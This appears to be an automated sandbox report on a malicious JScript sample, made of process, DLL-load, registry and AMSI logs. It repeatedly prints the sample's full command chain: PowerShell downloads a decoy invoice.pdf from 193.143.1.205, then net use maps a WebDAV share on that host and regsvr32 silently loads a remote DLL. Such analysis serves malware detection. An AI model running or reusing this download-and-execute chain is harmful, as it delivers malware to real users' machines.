Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1178918864369817238.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/63@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7848

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fouv01wg.kpw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1178918864369817238.js	Virustotal: Detection: 14%
Source: 1178918864369817238.js	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1592,i,14076996108067993312,10900582542575135991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1592,i,14076996108067993312,10900582542575135991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5024.js.csv");ITextStream.WriteLine(" entry:8013 f:tbjpavkts");ITextStream.WriteLine(" exec:2 f:tbjpavkts");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
